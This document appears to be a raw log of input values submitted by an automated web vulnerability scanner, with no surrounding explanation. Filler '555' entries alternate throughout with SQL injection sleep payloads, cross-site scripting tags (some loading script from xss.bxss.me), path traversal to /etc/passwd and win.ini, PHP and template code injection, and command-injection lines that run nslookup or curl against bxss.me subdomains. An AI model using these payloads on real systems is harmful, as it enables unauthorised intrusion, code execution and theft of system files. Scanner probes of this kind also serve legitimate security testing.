555urCuNFCs'; waitfor delay '0:0:15' --
555
555
555-1 OR 313=(SELECT 313 FROM PG_SLEEP(15))--
555
555
555
555
555
555-1) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
555
555
555
555
555
555-1)) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
555
555
555OyF7uD7H' OR 730=(SELECT 730 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555AnoNHG02') OR 303=(SELECT 303 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555*if(now()=sysdate(),sleep(15),0)
555dnGERRds')) OR 919=(SELECT 919 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@DeyG3
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555ePBessOQ'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1 OR 378=(SELECT 378 FROM PG_SLEEP(15))--
555q7RDxAdZ'; waitfor delay '0:0:15' --
555-1) OR 604=(SELECT 604 FROM PG_SLEEP(15))--
555-1 OR 196=(SELECT 196 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
555-1)) OR 702=(SELECT 702 FROM PG_SLEEP(15))--
555-1) OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
1
555M4ZCCw5l' OR 15=(SELECT 15 FROM PG_SLEEP(15))--
555-1)) OR 240=(SELECT 240 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
1
5554yyf2Uqs') OR 884=(SELECT 884 FROM PG_SLEEP(15))--
555EQgHEz6l' OR 630=(SELECT 630 FROM PG_SLEEP(15))--
1
555-1 waitfor delay '0:0:15' --
555DGqIcIsb')) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
555yPRir79S') OR 83=(SELECT 83 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555FdmcoXwo')) OR 474=(SELECT 474 FROM PG_SLEEP(15))--
555AzkIlTdA'; waitfor delay '0:0:15' --
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
@@gRtiD
555-1 OR 909=(SELECT 909 FROM PG_SLEEP(15))--
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@TTJ9x
555
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
1
555
555
555-1)) OR 163=(SELECT 163 FROM PG_SLEEP(15))--
555
1
555
555lc4rNYPD' OR 10=(SELECT 10 FROM PG_SLEEP(15))--
555
1
555
555t4HlCsXE') OR 136=(SELECT 136 FROM PG_SLEEP(15))--
1
555
555cW1EB9Z0')) OR 77=(SELECT 77 FROM PG_SLEEP(15))--
1
555
1
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@wAbjV
1
555
555
1
555
555
1
555
1
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >EPCw(9147)</ScRiPt>
555
555
555
555
555
555
555
555
555
${10000407+9999318}
)
555
555
!(()&&!|*|*|
555
555
555
^(#$!@#$)(()))******
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
/etc/shells
response.write(9708417*9111127)
555
555
'+response.write(9708417*9111127)+'
../../../../../../../../../../../../../../etc/shells
'"()&%<zzz><ScRiPt >EPCw(9570)</ScRiPt>
"+response.write(9708417*9111127)+"
555
c:/windows/win.ini
555
555
555
555
bxss.me
555
sbAMB69T
555
555
555
555
555
555
555
rlrHVdki: inKuD5NU
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
555
555
555
555
555
555
555
555
555
../555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
echo vajmcy$()\ vvumyh\nz^xyu||a #' &echo vajmcy$()\ vvumyh\nz^xyu||a #|" &echo vajmcy$()\ vvumyh\nz^xyu||a #
555
555
555
555
&echo pwbjbe$()\ kbybcn\nz^xyu||a #' &echo pwbjbe$()\ kbybcn\nz^xyu||a #|" &echo pwbjbe$()\ kbybcn\nz^xyu||a #
555
555&echo skmcmz$()\ lfjspr\nz^xyu||a #' &echo skmcmz$()\ lfjspr\nz^xyu||a #|" &echo skmcmz$()\ lfjspr\nz^xyu||a #
5559354596
555
555
555
555
555
555
|echo areejw$()\ tazrji\nz^xyu||a #' |echo areejw$()\ tazrji\nz^xyu||a #|" |echo areejw$()\ tazrji\nz^xyu||a #
555
555
555
555
555|echo prcqqe$()\ lvgkap\nz^xyu||a #' |echo prcqqe$()\ lvgkap\nz^xyu||a #|" |echo prcqqe$()\ lvgkap\nz^xyu||a #
555
555
555
(nslookup -q=cname hitxpbaooltmi84d53.bxss.me||curl hitxpbaooltmi84d53.bxss.me))
555
555
'.gethostbyname(lc('hitgw'.'qkdzipuqbe62c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(72).chr(118).chr(87).'
".gethostbyname(lc("hitcg"."nmklfsaq94fc9.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(70).chr(115).chr(79)."
555
$(nslookup -q=cname hitljsebcsbjmb1919.bxss.me||curl hitljsebcsbjmb1919.bxss.me)
555
555
gethostbyname(lc('hitly'.'bhatlpac688b2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(87).chr(109).chr(79)
555
555
&nslookup -q=cname hituufvhbxlszdc7bb.bxss.me&'\"`0&nslookup -q=cname hituufvhbxlszdc7bb.bxss.me&`'
555
555
555
&(nslookup -q=cname hitumhhkezytyb55d8.bxss.me||curl hitumhhkezytyb55d8.bxss.me)&'\"`0&(nslookup -q=cname hitumhhkezytyb55d8.bxss.me||curl hitumhhkezytyb55d8.bxss.me)&`'
555
555
|(nslookup -q=cname hitowrsdiqyuq215aa.bxss.me||curl hitowrsdiqyuq215aa.bxss.me)
555
555
555
555
555
`(nslookup -q=cname hitbtgqkrlpmkcc12c.bxss.me||curl hitbtgqkrlpmkcc12c.bxss.me)`
555
555
"+"A".concat(70-3).concat(22*4).concat(117).concat(73).concat(104).concat(82)+(require"socket" Socket.gethostbyname("hitgn"+"eyycovvre4391.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(111).concat(67).concat(103).concat(78)+(require'socket' Socket.gethostbyname('hitsm'+'xicnbbpj07ca1.bxss.me.')[3].to_s)+'
;(nslookup -q=cname hitcvpogjfymsdff1a.bxss.me||curl hitcvpogjfymsdff1a.bxss.me)|(nslookup -q=cname hitcvpogjfymsdff1a.bxss.me||curl hitcvpogjfymsdff1a.bxss.me)&(nslookup -q=cname hitcvpogjfymsdff1a.bxss.me||curl hitcvpogjfymsdff1a.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithdljrwlbbp53662.bxss.me||curl${IFS}hithdljrwlbbp53662.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hithawzvxoonn96812.bxss.me||curl${IFS}hithawzvxoonn96812.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithawzvxoonn96812.bxss.me||curl${IFS}hithawzvxoonn96812.bxss.me)&`'
'A'.concat(70-3).concat(22*4).concat(111).concat(87).concat(100).concat(76)+(require'socket' Socket.gethostbyname('hitxw'+'ugjzrhdj78cd1.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
'"()
555
555
555'&&sleep(27*1000)*tenrfe&&'
555
555
bfg3899%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3899
555"&&sleep(27*1000)*szvskk&&"
555
'"
555
555
555
555'||sleep(27*1000)*qecafp||'
555
<!--
555"||sleep(27*1000)*hvmtsb||"
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
555
555
555
555
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
bfgx4744%C0%BEz1%C0%BCz2a%90bcxhjl4744
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<%={{={@{#{${dfb}}%>
555
555
555
555
555
555
555
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
555
555
dfb__${98991*97996}__::.x
555
555
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >EPCw(9403)</ScRiPt>
555
555
555
555<WMZODF>LEFKO[!+!]</WMZODF>
555
555
555
555<script>EPCw(9069)</script>
555
555
555<script>EPCw(9144)</script>9144
555
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%45%50%43%77%28%39%30%33%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555
555<ScRiPt >EPCw(9776)</ScRiPt>
555
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9108></ScRiPt>
555
555< ScRiPt >EPCw(9815)</ScRiPt>
555
555
555
555
555
555
555
555<isindex type=image src=1 onerror=EPCw(9450)>
555
555*if(now()=sysdate(),sleep(15),0)
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9695'>
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555<body onload=EPCw(9558)>
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555<img src=//xss.bxss.me/t/dot.gif onload=EPCw(9313)>
555
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555<img src=xyz OnErRor=EPCw(9301)>
555
555-1 waitfor delay '0:0:15' --
555<img/src=">" onerror=alert(9366)>
555
555MNuymd6N'; waitfor delay '0:0:15' --
555
555-1 OR 235=(SELECT 235 FROM PG_SLEEP(15))--
555-1) OR 500=(SELECT 500 FROM PG_SLEEP(15))--
555
555-1)) OR 567=(SELECT 567 FROM PG_SLEEP(15))--
5554nrkROJY' OR 300=(SELECT 300 FROM PG_SLEEP(15))--
555
555PP5Jdbav') OR 289=(SELECT 289 FROM PG_SLEEP(15))--
555
5556K2DRAYo')) OR 423=(SELECT 423 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@0s9bv
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >svKI(9701)</ScRiPt>
555
'"()&%<zzz><ScRiPt >svKI(9133)</ScRiPt>
555
5559741093
555
555
bfg7588%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7588
bfgx4535%C0%BEz1%C0%BCz2a%90bcxhjl4535
555
555
<%={{={@{#{${dfb}}%>
555
555
<th:t="${dfb}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
dfb{{98991*97996}}xca
555
555
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >svKI(9708)</ScRiPt>
555
555
555<WBXQXB>DQMFB[!+!]</WBXQXB>
555
555
555<script>svKI(9432)</script>
555
555
555<script>svKI(9080)</script>9080
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%73%76%4B%49%28%39%38%32%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555
555
555
555
1Bik2L0rBeO
555
555
555
555
555
555
555
555
555
555
555<ScRiPt >svKI(9458)</ScRiPt>
555
555
555
555
${9999581+9999545}
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
)
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
!(()&&!|*|*|
555
555
^(#$!@#$)(()))******
555
Http://bxss.me/t/fit.txt
response.write(9187071*9959232)
'+response.write(9187071*9959232)+'
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
555
"+response.write(9187071*9959232)+"
555
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
555
555
555
bxss.me
555
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9995></ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
c8CnSRU8
555
jQh4tQUi: ByzkL6gP
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
echo oqyjdg$()\ lqsgrp\nz^xyu||a #' &echo oqyjdg$()\ lqsgrp\nz^xyu||a #|" &echo oqyjdg$()\ lqsgrp\nz^xyu||a #
555
file:///etc/passwd
555<esi:include src="http://bxss.me/rpb.png"/>
&echo uxbfet$()\ kfyhlu\nz^xyu||a #' &echo uxbfet$()\ kfyhlu\nz^xyu||a #|" &echo uxbfet$()\ kfyhlu\nz^xyu||a #
555
555
555
../555
555&echo tguylr$()\ vazfhy\nz^xyu||a #' &echo tguylr$()\ vazfhy\nz^xyu||a #|" &echo tguylr$()\ vazfhy\nz^xyu||a #
555
555
555
|echo hntmkq$()\ xeftgk\nz^xyu||a #' |echo hntmkq$()\ xeftgk\nz^xyu||a #|" |echo hntmkq$()\ xeftgk\nz^xyu||a #
555< ScRiPt >svKI(9299)</ScRiPt>
555
555
555
555
555
555|echo vgxspn$()\ kbfrnx\nz^xyu||a #' |echo vgxspn$()\ kbfrnx\nz^xyu||a #|" |echo vgxspn$()\ kbfrnx\nz^xyu||a #
555
555
555
(nslookup -q=cname hitlahzaftuwi31fb3.bxss.me||curl hitlahzaftuwi31fb3.bxss.me))
555
555
555
555
$(nslookup -q=cname hitgcmojjadxn9dd89.bxss.me||curl hitgcmojjadxn9dd89.bxss.me)
555
555
555
555
555
555
&nslookup -q=cname hitoykfacwaxg559a8.bxss.me&'\"`0&nslookup -q=cname hitoykfacwaxg559a8.bxss.me&`'
555
555
555
"+"A".concat(70-3).concat(22*4).concat(103).concat(68).concat(104).concat(83)+(require"socket" Socket.gethostbyname("hithh"+"rqnqovjh036de.bxss.me.")[3].to_s)+"
'.gethostbyname(lc('hitun'.'axffrnhw826a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(67).chr(114).chr(65).'
&(nslookup -q=cname hitjwhogvrskz79bd0.bxss.me||curl hitjwhogvrskz79bd0.bxss.me)&'\"`0&(nslookup -q=cname hitjwhogvrskz79bd0.bxss.me||curl hitjwhogvrskz79bd0.bxss.me)&`'
555
555
'+'A'.concat(70-3).concat(22*4).concat(113).concat(87).concat(110).concat(86)+(require'socket' Socket.gethostbyname('hitry'+'uzevwelxc0d37.bxss.me.')[3].to_s)+'
".gethostbyname(lc("hitjt"."sedcoiwv28e55.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(74).chr(102).chr(69)."
555
555
|(nslookup -q=cname hitferunoktmt34300.bxss.me||curl hitferunoktmt34300.bxss.me)
gethostbyname(lc('hityp'.'sxqupoxx2f6e3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(70).chr(117).chr(65)
555
555
`(nslookup -q=cname hitspeeaitbhwf8bac.bxss.me||curl hitspeeaitbhwf8bac.bxss.me)`
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(115).concat(77).concat(99).concat(84)+(require'socket' Socket.gethostbyname('hitie'+'wkceresq19995.bxss.me.')[3].to_s)
xfs.bxss.me
;(nslookup -q=cname hitrvsemxazlu67628.bxss.me||curl hitrvsemxazlu67628.bxss.me)|(nslookup -q=cname hitrvsemxazlu67628.bxss.me||curl hitrvsemxazlu67628.bxss.me)&(nslookup -q=cname hitrvsemxazlu67628.bxss.me||curl hitrvsemxazlu67628.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hituxsaodehxhc9bc1.bxss.me||curl${IFS}hituxsaodehxhc9bc1.bxss.me)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitnwycmzjlyv3b3c3.bxss.me||curl${IFS}hitnwycmzjlyv3b3c3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnwycmzjlyv3b3c3.bxss.me||curl${IFS}hitnwycmzjlyv3b3c3.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555'&&sleep(27*1000)*xlatvo&&'
555
555
555"&&sleep(27*1000)*ohhzgc&&"
555
555
555'||sleep(27*1000)*kqirsl||'
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555"||sleep(27*1000)*strfnl||"
555
${9999624+9999415}
555
555<isindex type=image src=1 onerror=svKI(9365)>
555
555
)
555
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
!(()&&!|*|*|
555
response.write(9921594*9289785)
${@print(md5(31337))}\
555
^(#$!@#$)(()))******
555
'+response.write(9921594*9289785)+'
555
'.print(md5(31337)).'
555
555
"+response.write(9921594*9289785)+"
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
555
555
print(md5(31337));//
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
{php}print(md5(31337));{/php}
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
oA4lGwqH
555
555
555
555
CbkaSLDt: 4RrjNffb
555
[php]print(md5(31337));[/php]
555
Http://bxss.me/t/fit.txt
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
555
555
/etc/shells
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
bxss.me
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
file:///etc/passwd
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9794'>
555
555
555
555
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
'.gethostbyname(lc('hitlc'.'ibfafftka1860.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(66).chr(120).chr(90).'
555
555
555
555
555
555
555
".gethostbyname(lc("hitsm"."rlzqkttd5ca04.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(76).chr(98).chr(82)."
555
555
555
555
555
gethostbyname(lc('hitiq'.'vdhbbqmod4129.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(90).chr(102).chr(69)
echo ecveil$()\ kvrdkt\nz^xyu||a #' &echo ecveil$()\ kvrdkt\nz^xyu||a #|" &echo ecveil$()\ kvrdkt\nz^xyu||a #
555
555
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(80).concat(97).concat(90)+(require"socket" Socket.gethostbyname("hitzx"+"wttihbwfd8935.bxss.me.")[3].to_s)+"
555
555
555
555
&echo ljasbh$()\ adanrt\nz^xyu||a #' &echo ljasbh$()\ adanrt\nz^xyu||a #|" &echo ljasbh$()\ adanrt\nz^xyu||a #
555
'+'A'.concat(70-3).concat(22*4).concat(100).concat(89).concat(112).concat(69)+(require'socket' Socket.gethostbyname('hitfq'+'gmlaxzuja53f7.bxss.me.')[3].to_s)+'
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(113).concat(68).concat(116).concat(68)+(require'socket' Socket.gethostbyname('hituh'+'ipsabtcx57c9d.bxss.me.')[3].to_s)
555
555
555&echo oupdtd$()\ uqhcyk\nz^xyu||a #' &echo oupdtd$()\ uqhcyk\nz^xyu||a #|" &echo oupdtd$()\ uqhcyk\nz^xyu||a #
555
555
555
555
555
555
555
555
555
|echo xjclwc$()\ nxvsnv\nz^xyu||a #' |echo xjclwc$()\ nxvsnv\nz^xyu||a #|" |echo xjclwc$()\ nxvsnv\nz^xyu||a #
555
555
555
555
555
555
555|echo icnars$()\ ztmgcu\nz^xyu||a #' |echo icnars$()\ ztmgcu\nz^xyu||a #|" |echo icnars$()\ ztmgcu\nz^xyu||a #
555
555
555
555
555
555
555
(nslookup -q=cname hitfwpcwegvem265ee.bxss.me||curl hitfwpcwegvem265ee.bxss.me))
555
555
555
555
555
$(nslookup -q=cname hitbnattilwps581bb.bxss.me||curl hitbnattilwps581bb.bxss.me)
555
555
555
555
&nslookup -q=cname hittdbkmxbkina89f2.bxss.me&'\"`0&nslookup -q=cname hittdbkmxbkina89f2.bxss.me&`'
555<body onload=svKI(9361)>
555
555
555
555
&(nslookup -q=cname hitsbswlyzombd4681.bxss.me||curl hitsbswlyzombd4681.bxss.me)&'\"`0&(nslookup -q=cname hitsbswlyzombd4681.bxss.me||curl hitsbswlyzombd4681.bxss.me)&`'
555
555
555
555
555
555
555
555
|(nslookup -q=cname hitxpekctwxmq6d7e8.bxss.me||curl hitxpekctwxmq6d7e8.bxss.me)
555
555
555
555
555
555
555
555
555
`(nslookup -q=cname hitwmokrpcnug8a920.bxss.me||curl hitwmokrpcnug8a920.bxss.me)`
555
555
555
555
;(nslookup -q=cname hitoxzqetntjp59b4b.bxss.me||curl hitoxzqetntjp59b4b.bxss.me)|(nslookup -q=cname hitoxzqetntjp59b4b.bxss.me||curl hitoxzqetntjp59b4b.bxss.me)&(nslookup -q=cname hitoxzqetntjp59b4b.bxss.me||curl hitoxzqetntjp59b4b.bxss.me)
555
555
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitswfznesdfl76a3b.bxss.me||curl${IFS}hitswfznesdfl76a3b.bxss.me)
555
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitmkrxazoige999c0.bxss.me||curl${IFS}hitmkrxazoige999c0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmkrxazoige999c0.bxss.me||curl${IFS}hitmkrxazoige999c0.bxss.me)&`'
555
555
555
555
555
xfs.bxss.me
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
'"
555
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=svKI(9951)>
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'"()
';print(md5(31337));$a='
555
555'&&sleep(27*1000)*vtfvhq&&'
555
555"&&sleep(27*1000)*cfdtau&&"
555
";print(md5(31337));$a="
555
555'||sleep(27*1000)*rpidjv||'
${@print(md5(31337))}
555"||sleep(27*1000)*qrudwb||"
555
555
555
555
${@print(md5(31337))}\
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555<img src=xyz OnErRor=svKI(9492)>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${10000479+10000028}
555
555
555
555
555
555
)
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555<img/src=">" onerror=alert(9676)>
555
response.write(9118395*9451422)
555
555
555
^(#$!@#$)(()))******
'+response.write(9118395*9451422)+'
555
555
555
"+response.write(9118395*9451422)+"
555
INDfTBDW
555
555
555
555
555
555
555
555
MHFYOSK7: bjBrEJOX
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
555
555
555
555
555
555
555
Http://bxss.me/t/fit.txt
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
/etc/shells
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
file:///etc/passwd
555
555
c:/windows/win.ini
555
555
555
555
bxss.me
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
../555
555
555
'.gethostbyname(lc('hitjn'.'fjsuhixoee160.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(84).chr(107).chr(69).'
%35%35%35%3C%53%63%52%69%50%74%20%3E%73%76%4B%49%289721%29%3C%2F%73%43%72%69%70%54%3E
555
555
555
".gethostbyname(lc("hitpd"."lxehgzhtefe7b.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(77).chr(99).chr(78)."
555
555
555
555
gethostbyname(lc('hitve'.'npdcqunzdc63c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(85).chr(100).chr(70)
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(117).concat(66).concat(103).concat(82)+(require"socket" Socket.gethostbyname("hitvu"+"mfrzzmmr9a982.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(98).concat(90).concat(121).concat(83)+(require'socket' Socket.gethostbyname('hitum'+'dcbmiirp4ba4a.bxss.me.')[3].to_s)+'
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(120).concat(86)+(require'socket' Socket.gethostbyname('hitvk'+'gjvdvfzddc657.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
'"
555
555
555
555
555
echo xdolea$()\ glnvot\nz^xyu||a #' &echo xdolea$()\ glnvot\nz^xyu||a #|" &echo xdolea$()\ glnvot\nz^xyu||a #
555
555
555
555
555
555
<!--
&echo pgfkps$()\ grqeiz\nz^xyu||a #' &echo pgfkps$()\ grqeiz\nz^xyu||a #|" &echo pgfkps$()\ grqeiz\nz^xyu||a #
555
555
555
555
555
555
555
